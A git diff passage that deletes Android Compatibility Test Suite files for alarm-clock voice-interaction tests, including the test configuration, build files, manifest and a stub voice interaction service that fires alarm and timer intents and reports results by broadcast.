-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Configuration for AlarmClock Tests">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="framework" />
-    <option name="not-shardable" value="true" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsAlarmClockService.apk" />
-        <option name="test-file-name" value="CtsAlarmClockTestCases.apk" />
-    </target_preparer>
-
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command"
-             value="settings put secure voice_interaction_service android.alarmclock.service/.MainInteractionService" />
-    </target_preparer>
-
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
-        <option name="package" value="android.alarmclock.cts" />
-    </test>
-</configuration>
diff --git a/tests/tests/alarmclock/common/Android.mk b/tests/tests/alarmclock/common/Android.mk
deleted file mode 100644
index 039ca5c..0000000
--- a/tests/tests/alarmclock/common/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := CtsAlarmClockCommon
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java b/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java
deleted file mode 100644
index 8f04d2a..0000000
--- a/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.alarmclock.common;
-
-import android.os.Bundle;
-
-public class Utils {
-    // private constructor - so it can't be instantiated.
-    private Utils() {
-    }
-
-    public enum TestcaseType {
-        DISMISS_ALARM,
-        DISMISS_TIMER,
-        SET_ALARM,
-        SET_ALARM_FOR_DISMISSAL,
-        SET_TIMER_FOR_DISMISSAL,
-        SNOOZE_ALARM,
-    }
-    public static final String TESTCASE_TYPE = "Testcase_type";
-    public static final String BROADCAST_INTENT =
-            "android.intent.action.FROM_ALARMCLOCK_CTS_TEST_";
-    public static final String TEST_RESULT = "test_result";
-    public static final String COMPLETION_RESULT = "completion";
-    public static final String ABORT_RESULT = "abort";
-
-    public static final String toBundleString(Bundle bundle) {
-        if (bundle == null) {
-            return "*** Bundle is null ****";
-        }
-        StringBuilder buf = new StringBuilder();
-        if (bundle != null) {
-            buf.append("extras: ");
-            for (String s : bundle.keySet()) {
-                buf.append("(" + s + " = " + bundle.get(s) + "), ");
-            }
-        }
-        return buf.toString();
-    }
-}
diff --git a/tests/tests/alarmclock/res/xml/interaction_service.xml b/tests/tests/alarmclock/res/xml/interaction_service.xml
deleted file mode 100644
index e37017c..0000000
--- a/tests/tests/alarmclock/res/xml/interaction_service.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<voice-interaction-service xmlns:android="http://schemas.android.com/apk/res/android"
-    android:sessionService="android.alarmclock.service.MainInteractionSessionService"
-    android:recognitionService="android.alarmclock.service.MainRecognitionService"
-    android:settingsActivity="android.alarmclock.service.SettingsActivity"
-    android:supportsAssist="false" />
diff --git a/tests/tests/alarmclock/service/Android.mk b/tests/tests/alarmclock/service/Android.mk
deleted file mode 100644
index f64cfe4..0000000
--- a/tests/tests/alarmclock/service/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := CtsAlarmClockCommon ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsAlarmClockService
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/tests/alarmclock/service/AndroidManifest.xml b/tests/tests/alarmclock/service/AndroidManifest.xml
deleted file mode 100644
index 074df26..0000000
--- a/tests/tests/alarmclock/service/AndroidManifest.xml
+++ /dev/null
@@ -1,64 +0,0 @@
-<!--
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.alarmclock.service">
-    <uses-permission android:name="com.android.alarm.permission.SET_ALARM" />
-
-    <application>
-        <uses-library android:name="android.test.runner" />
-        <service android:name=".MainInteractionService"
-                android:label="CTS test voice interaction service"
-                android:permission="android.permission.BIND_VOICE_INTERACTION"
-                android:process=":interactor"
-                android:exported="true">
-            <meta-data android:name="android.voice_interaction"
-                       android:resource="@xml/interaction_service" />
-            <intent-filter>
-                <action android:name="android.service.voice.VoiceInteractionService" />
-            </intent-filter>
-        </service>
-        <activity android:name=".VoiceInteractionMain" >
-            <intent-filter>
-                <action android:name="android.intent.action.VIMAIN_DISMISS_ALARM" />
-                <action android:name="android.intent.action.VIMAIN_SET_ALARM" />
-                <action android:name="android.intent.action.VIMAIN_SET_ALARM_FOR_DISMISSAL" />
-                <action android:name="android.intent.action.VIMAIN_SNOOZE_ALARM" />
-                <category android:name="android.intent.category.DEFAULT" />
-            </intent-filter>
-        </activity>
-        <activity android:name=".SettingsActivity"
-                  android:label="Voice Interaction Settings">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-            </intent-filter>
-        </activity>
-        <service android:name=".MainInteractionSessionService"
-                android:permission="android.permission.BIND_VOICE_INTERACTION"
-                android:process=":session">
-        </service>
-        <service android:name=".MainRecognitionService"
-                android:label="CTS Voice Recognition Service">
-            <intent-filter>
-                <action android:name="android.speech.RecognitionService" />
-                <category android:name="android.intent.category.DEFAULT" />
-            </intent-filter>
-            <meta-data android:name="android.speech" android:resource="@xml/recognition_service" />
-        </service>
-    </application>
-</manifest>
-
diff --git a/tests/tests/alarmclock/service/res/xml/interaction_service.xml b/tests/tests/alarmclock/service/res/xml/interaction_service.xml
deleted file mode 100644
index e37017c..0000000
--- a/tests/tests/alarmclock/service/res/xml/interaction_service.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<voice-interaction-service xmlns:android="http://schemas.android.com/apk/res/android"
-    android:sessionService="android.alarmclock.service.MainInteractionSessionService"
-    android:recognitionService="android.alarmclock.service.MainRecognitionService"
-    android:settingsActivity="android.alarmclock.service.SettingsActivity"
-    android:supportsAssist="false" />
diff --git a/tests/tests/alarmclock/service/res/xml/recognition_service.xml b/tests/tests/alarmclock/service/res/xml/recognition_service.xml
deleted file mode 100644
index 132c987..0000000
--- a/tests/tests/alarmclock/service/res/xml/recognition_service.xml
+++ /dev/null
@@ -1,17 +0,0 @@
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<recognition-service xmlns:android="http://schemas.android.com/apk/res/android"
-    android:settingsActivity="android.alarmclock.service.SettingsActivity" />
diff --git a/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionService.java b/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionService.java
deleted file mode 100644
index f96140e..0000000
--- a/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionService.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.alarmclock.service;
-
-import android.alarmclock.common.Utils;
-import android.content.ComponentName;
-import android.content.Intent;
-import android.os.Bundle;
-import android.service.voice.VoiceInteractionService;
-import android.util.Log;
-
-public class MainInteractionService extends VoiceInteractionService {
-    static final String TAG = "MainInteractionService";
-    private Intent mIntent;
-    private boolean mReady = false;
-
-    @Override
-    public void onReady() {
-        super.onReady();
-        mReady = true;
-    }
-
-    @Override
-    public int onStartCommand(Intent intent, int flags, int startId) {
-        Log.i(TAG, "onStartCommand received");
-        mIntent = intent;
-        Log.i(TAG, "received_testcasetype = " + mIntent.getStringExtra(Utils.TESTCASE_TYPE));
-        maybeStart();
-        return START_NOT_STICKY;
-    }
-
-    private void maybeStart() {
-       if (mIntent == null || !mReady) {
-            Log.wtf(TAG, "Can't start session because either intent is null or onReady() "
-                    + "is not called yet. mIntent = " + mIntent + ", mReady = " + mReady);
-        } else {
-            Log.i(TAG,
-                    "Yay! about to start MainInteractionSession as the voice_interaction_service");
-            if (isActiveService(this, new ComponentName(this, getClass()))) {
-                Bundle args = new Bundle();
-                args.putString(Utils.TESTCASE_TYPE, mIntent.getStringExtra(Utils.TESTCASE_TYPE));
-                Log.i(TAG, "xferring_testcasetype = " + args.getString(Utils.TESTCASE_TYPE));
-                showSession(args, 0);
-            } else {
-                Log.wtf(TAG, "**** Not starting MainInteractionService because" +
-                    " it is not set as the current voice_interaction_service");
-            }
-        }
-    }
-}
diff --git a/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java b/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java
deleted file mode 100644
index 99c0b6f..0000000
--- a/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java
+++ /dev/null
@@ -1,183 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.alarmclock.service;
-
-import android.alarmclock.common.Utils;
-import android.alarmclock.common.Utils.TestcaseType;
-import android.content.Context;
-import android.content.Intent;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.provider.AlarmClock;
-import android.service.voice.VoiceInteractionSession;
-import android.util.Log;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class MainInteractionSession extends VoiceInteractionSession {
-    static final String TAG = "MainInteractionSession";
-
-    private List<MyTask> mUsedTasks = new ArrayList<MyTask>();
-    private Context mContext;
-    private TestcaseType mTestType;
-    private String mTestResult = "";
-
-    MainInteractionSession(Context context) {
-        super(context);
-        mContext = context;
-    }
-
-    @Override
-    public void onCreate() {
-        super.onCreate();
-    }
-
-    @Override
-    public void onDestroy() {
-        Log.i(TAG, "Canceling the Asynctasks in onDestroy()");
-        for (MyTask t : mUsedTasks) {
-            t.cancel(true);
-        }
-        super.onDestroy();
-    }
-
-    @Override
-    public void onShow(Bundle args, int showFlags) {
-        super.onShow(args, showFlags);
-        String testCaseType = args.getString(Utils.TESTCASE_TYPE);
-        Log.i(TAG, "received_testcasetype = " + testCaseType);
-        try {
-            mTestType = TestcaseType.valueOf(testCaseType);
-        } catch (IllegalArgumentException e) {
-            Log.wtf(TAG, e);
-            return;
-        } catch (NullPointerException e) {
-            Log.wtf(TAG, e);
-            return;
-        }
-        Intent intent;
-        switch(mTestType) {
-            case DISMISS_ALARM:
-                intent = new Intent(AlarmClock.ACTION_DISMISS_ALARM);
-                intent.putExtra(AlarmClock.EXTRA_ALARM_SEARCH_MODE,
-                        AlarmClock.ALARM_SEARCH_MODE_NEXT);
-                break;
-
-            case DISMISS_TIMER:
-                intent = new Intent(AlarmClock.ACTION_DISMISS_TIMER);
-                break;
-
-            case SET_ALARM_FOR_DISMISSAL:
-            case SET_ALARM:
-                intent = new Intent(AlarmClock.ACTION_SET_ALARM);
-                intent.putExtra(AlarmClock.EXTRA_HOUR, 14);
-                break;
-
-            case SET_TIMER_FOR_DISMISSAL:
-                intent = new Intent(AlarmClock.ACTION_SET_TIMER);
-                intent.putExtra(AlarmClock.EXTRA_LENGTH, 1);
-                break;
-
-            case SNOOZE_ALARM:
-                intent = new Intent(AlarmClock.ACTION_SNOOZE_ALARM);
-                break;
-
-            default:
-                Log.e(TAG, "Unexpected value");
-                return;
-        }
-        Log.i(TAG, "starting_voiceactivity: " + intent.toString());
-        startVoiceActivity(intent);
-    }
-
-    @Override
-    public void onTaskFinished(Intent intent, int taskId) {
-        // extras contain the info on what the activity started above did.
-        // we probably could verify this also.
-        Bundle extras = intent.getExtras();
-        Log.i(TAG, "in onTaskFinished: testcasetype = " + mTestType + ", intent: " +
-                intent.toString() + Utils.toBundleString(extras));
-        Intent broadcastIntent = new Intent(Utils.BROADCAST_INTENT + mTestType.toString());
-        broadcastIntent.putExtra(Utils.TEST_RESULT, mTestResult);
-        broadcastIntent.putExtra(Utils.TESTCASE_TYPE, mTestType.toString());
-        Log.i(TAG, "sending_broadcast for testcase+type = " +
-                broadcastIntent.getStringExtra(Utils.TESTCASE_TYPE) +
-                ", test_result = " + broadcastIntent.getStringExtra(Utils.TEST_RESULT));
-        mContext.sendBroadcast(broadcastIntent);
-    }
-
-    synchronized MyTask newTask() {
-        MyTask t = new MyTask();
-        mUsedTasks.add(t);
-        return t;
-    }
-
-    @Override
-    public void onRequestCompleteVoice(CompleteVoiceRequest request) {
-        mTestResult = Utils.COMPLETION_RESULT;
-        CharSequence prompt = request.getVoicePrompt().getVoicePromptAt(0);
-        Log.i(TAG, "in Session testcasetype = " + mTestType +
-                ", onRequestCompleteVoice recvd. message = " + prompt);
-        AsyncTaskArg asyncTaskArg = new AsyncTaskArg().setRequest(request).setCompleteReq(true);
-        newTask().execute(asyncTaskArg);
-    }
-
-    @Override
-    public void onRequestAbortVoice(AbortVoiceRequest request) {
-        mTestResult = Utils.ABORT_RESULT;
-        AsyncTaskArg asyncTaskArg = new AsyncTaskArg().setRequest(request).setCompleteReq(false);
-        Log.i(TAG, "in Session sending sendAbortResult for testcasetype = " + mTestType);
-        newTask().execute(asyncTaskArg);
-    }
-
-    private class AsyncTaskArg {
-        CompleteVoiceRequest mCompReq;
-        AbortVoiceRequest mAbortReq;
-        boolean isCompleteRequest = true;
-
-        AsyncTaskArg setRequest(CompleteVoiceRequest r) {
-            mCompReq = r;
-            return this;
-        }
-
-        AsyncTaskArg setRequest(AbortVoiceRequest r) {
-            mAbortReq = r;
-            return this;
-        }
-
-        AsyncTaskArg setCompleteReq(boolean flag) {
-            isCompleteRequest = flag;
-            return this;
-        }
-    }
-
-    private class MyTask extends AsyncTask<AsyncTaskArg, Void, Void> {
-        @Override
-        protected Void doInBackground(AsyncTaskArg... params) {
-            AsyncTaskArg arg = params[0];
-            Log.i(TAG, "in MyTask - doInBackground: testType = " +
-                    MainInteractionSession.this.mTestType);
-            if (arg.isCompleteRequest) {
-                arg.mCompReq.sendCompleteResult(new Bundle());
-            } else {
-                arg.mAbortReq.sendAbortResult(new Bundle());
-            }
-            return null;
-        }
-    }
-}
diff --git a/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSessionService.java b/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSessionService.java
deleted file mode 100644
index a83c115..0000000
--- a/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSessionService.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.alarmclock.service;
-
-import android.os.Bundle;
-import android.service.voice.VoiceInteractionSession;
-import android.service.voice.VoiceInteractionSessionService;
-
-public class MainInteractionSessionService extends VoiceInteractionSessionService {
-    @Override
-    public VoiceInteractionSession onNewSession(Bundle args) {
-        return new MainInteractionSession(this);
-    }
-}
diff --git a/tests/tests/alarmclock/service/src/android/alarmclock/service/MainRecognitionService.java b/tests/tests/alarmclock/service/src/android/alarmclock/service/MainRecognitionService.java
deleted file mode 100644
index 15a32d4..0000000
--- a/tests/tests/alarmclock/service/src/android/alarmclock/service/MainRecognitionService.java
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.alarmclock.service;
-
-import android.content.Intent;
-import android.speech.RecognitionService;
-import android.util.Log;
-
-/**
- * Stub recognition service needed to be a complete voice interactor.
- */
-public class MainRecognitionService extends RecognitionService {
-    private static final String TAG = "MainRecognitionService";
-
-    @Override
-    public void onCreate() {
-        super.onCreate();
-        Log.i(TAG, "onCreate");
-    }
-
-    @Override
-    protected void onStartListening(Intent recognizerIntent, Callback listener) {
-        Log.i(TAG, "onStartListening");
-    }
-
-    @Override
-    protected void onCancel(Callback listener) {
-        Log.i(TAG, "onCancel");
-    }
-
-    @Override
-    protected void onStopListening(Callback listener) {
-        Log.i(TAG, "onStopListening");
-    }
-
-    @Override
-    public void onDestroy() {
-        super.onDestroy();
-        Log.i(TAG, "onDestroy");
-    }
-}
diff --git a/tests/tests/alarmclock/service/src/android/alarmclock/service/SettingsActivity.java b/tests/tests/alarmclock/service/src/android/alarmclock/service/SettingsActivity.java
deleted file mode 100644
index 0c4d289..0000000
--- a/tests/tests/alarmclock/service/src/android/alarmclock/service/SettingsActivity.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.alarmclock.service;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-/**
- * Stub activity to test out settings selection for voice interactor.
- */
-public class SettingsActivity extends Activity {
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-    }
-}
diff --git a/tests/tests/alarmclock/service/src/android/alarmclock/service/VoiceInteractionMain.java b/tests/tests/alarmclock/service/src/android/alarmclock/service/VoiceInteractionMain.java
deleted file mode 100644
index c1f23a0..0000000
--- a/tests/tests/alarmclock/service/src/android/alarmclock/service/VoiceInteractionMain.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.alarmclock.service;
-
-import android.alarmclock.common.Utils;
-import android.app.Activity;
-import android.content.Intent;
-import android.content.ComponentName;
-import android.os.Bundle;
-import android.util.Log;
-
-public class VoiceInteractionMain extends Activity {
-    static final String TAG = "VoiceInteractionMain";
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        Intent intent = new Intent();
-        String testCaseType = getIntent().getStringExtra(Utils.TESTCASE_TYPE);
-        Log.i(TAG, "received_testcasetype = " + testCaseType);
-        intent.putExtra(Utils.TESTCASE_TYPE, testCaseType);
-        intent.setComponent(new ComponentName(this, MainInteractionService.class));
-        ComponentName serviceName = startService(intent);
-        Log.i(TAG, "Started service: " + serviceName);
-    }
-}
diff --git a/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java b/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
deleted file mode 100644
index 69f19b9..0000000
--- a/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
+++ /dev/null
@@ -1,163 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.alarmclock.cts;
-
-import android.alarmclock.common.Utils;
-import android.alarmclock.common.Utils.TestcaseType;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.provider.AlarmClock;
-import android.os.Bundle;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-public class AlarmClockTestBase extends ActivityInstrumentationTestCase2<TestStartActivity> {
-    static final String TAG = "AlarmClockTestBase";
-    protected static final int TIMEOUT_MS = 20 * 1000;
-
-    private Context mContext;
-    private String mTestResult;
-    private CountDownLatch mLatch;
-    private ActivityDoneReceiver mActivityDoneReceiver = null;
-    private TestStartActivity mActivity;
-    private TestcaseType mTestCaseType;
-
-    public AlarmClockTestBase() {
-        super(TestStartActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        if (mActivityDoneReceiver != null) {
-            try {
-                mContext.unregisterReceiver(mActivityDoneReceiver);
-            } catch (IllegalArgumentException e) {
-                // This exception is thrown if mActivityDoneReceiver in
-                // the above call to unregisterReceiver is never registered.
-                // If so, no harm done by ignoring this exception.
-            }
-            mActivityDoneReceiver = null;
-        }
-        super.tearDown();
-    }
-
-    private void registerBroadcastReceiver(TestcaseType testCaseType) throws Exception {
-        mTestCaseType = testCaseType;
-        mLatch = new CountDownLatch(1);
-        mActivityDoneReceiver = new ActivityDoneReceiver();
-        mContext.registerReceiver(mActivityDoneReceiver,
-                new IntentFilter(Utils.BROADCAST_INTENT + testCaseType.toString()));
-    }
-
-    private boolean isIntentSupported(TestcaseType testCaseType) {
-        final PackageManager manager = mContext.getPackageManager();
-        assertNotNull(manager);
-        // If TV then not supported.
-        if (manager.hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY)) {
-            return false;
-        }
-        Intent intent;
-        switch (testCaseType) {
-          case DISMISS_ALARM:
-              intent = new Intent(AlarmClock.ACTION_DISMISS_ALARM);
-              break;
-
-          case DISMISS_TIMER:
-              intent = new Intent(AlarmClock.ACTION_DISMISS_TIMER);
-              break;
-
-          case SET_ALARM:
-          case SET_ALARM_FOR_DISMISSAL:
-              intent = new Intent(AlarmClock.ACTION_SET_ALARM);
-              break;
-
-          case SET_TIMER_FOR_DISMISSAL:
-              intent = new Intent(AlarmClock.ACTION_SET_TIMER);
-              break;
-
-          case SNOOZE_ALARM:
-              intent = new Intent(AlarmClock.ACTION_SNOOZE_ALARM);
-              break;
-
-          default:
-              // shouldn't happen
-              return false;
-        }
-        if (manager.resolveActivity(intent, 0) == null) {
-            Log.i(TAG, "No Voice Activity found for the intent: " + intent.getAction());
-            return false;
-        }
-        return true;
-    }
-
-    protected String runTest(TestcaseType testCaseType) throws Exception {
-        Log.i(TAG, "Begin Testing: " + testCaseType);
-        // Make sure the corresponding intent is supported by the platform, before testing.
-        if (!isIntentSupported(testCaseType)) return Utils.COMPLETION_RESULT;
-
-        if (!startTestActivity(testCaseType)) {
-            fail("test activity start failed for testcase = " + testCaseType);
-            return "";
-        }
-
-        registerBroadcastReceiver(testCaseType);
-        mActivity.startTest(testCaseType.toString());
-        if (!mLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
-            fail("Failed to receive broadcast in " + TIMEOUT_MS + "msec");
-            return "";
-        }
-        return mTestResult;
-    }
-
-    private boolean startTestActivity(TestcaseType testCaseType) {
-        Log.i(TAG, "Starting test activity for test: " + testCaseType);
-        Intent intent = new Intent();
-        intent.setAction("android.intent.action.TEST_START_ACTIVITY_" + testCaseType.toString());
-        intent.setComponent(new ComponentName(getInstrumentation().getContext(),
-                TestStartActivity.class));
-        setActivityIntent(intent);
-        mActivity = getActivity();
-        return mActivity != null;
-    }
-
-    class ActivityDoneReceiver extends BroadcastReceiver {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            if (intent.getAction().equals(
-                    Utils.BROADCAST_INTENT + AlarmClockTestBase.this.mTestCaseType.toString())) {
-                AlarmClockTestBase.this.mTestResult = intent.getStringExtra(Utils.TEST_RESULT);
-                Log.i(TAG, "received_broadcast for testcase_type = " +
-                        Utils.BROADCAST_INTENT + AlarmClockTestBase.this.mTestCaseType +
-                        ", test_result = " + AlarmClockTestBase.this.mTestResult);
-                mLatch.countDown();
-            }
-        }
-    }
-}
diff --git a/tests/tests/alarmclock/src/android/alarmclock/cts/DismissAlarmTest.java b/tests/tests/alarmclock/src/android/alarmclock/cts/DismissAlarmTest.java
